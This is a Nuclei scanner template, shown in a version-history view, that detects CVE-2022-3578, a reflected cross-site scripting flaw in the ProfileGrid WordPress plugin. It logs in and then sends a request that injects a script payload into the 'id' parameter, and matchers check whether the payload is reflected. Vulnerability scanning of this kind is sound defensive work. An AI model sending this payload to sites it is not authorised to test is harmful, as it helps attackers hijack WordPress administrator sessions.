nuclei-templates/cves/2022/CVE-2022-3578.yaml

45 lines
1.5 KiB
YAML
Raw Normal View History

2022-11-15 17:18:53 +00:00
id: CVE-2022-3578
info:
2022-11-16 09:31:54 +00:00
name: ProfileGrid < 5.1.1 - Cross-Site Scripting
2022-11-15 17:18:53 +00:00
author: theamanrawat
severity: medium
description: |
The ProfileGrid WordPress plugin before 5.1.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/17596b0e-ff45-4d0c-8e57-a31101e30345
- https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3578
2022-11-16 09:34:37 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-11-16 09:34:37 +00:00
cve-id: CVE-2022-3578
cwe-id: CWE-79
2022-11-16 06:22:46 +00:00
metadata:
verified: "true"
tags: wp-plugin,wordpress,wpscan,cve,wp,xss,profilegrid,authenticated,cve2022
2022-11-15 17:18:53 +00:00
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
2022-11-16 09:31:54 +00:00
GET /wp-admin/admin.php?page=pm_add_group&id="><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
2022-11-15 17:18:53 +00:00
Host: {{Hostname}}
req-condition: true
cookie-reuse: true
matchers:
2022-11-16 09:31:54 +00:00
- type: dsl
dsl:
- 'contains(all_headers_2, "text/html")'
- 'status_code_2 == 200'
- 'contains(body_2, "Extension Options")'
- 'contains(body_2, "<script>alert(document.domain)</script>&tab")'
2022-11-15 17:18:53 +00:00
condition: and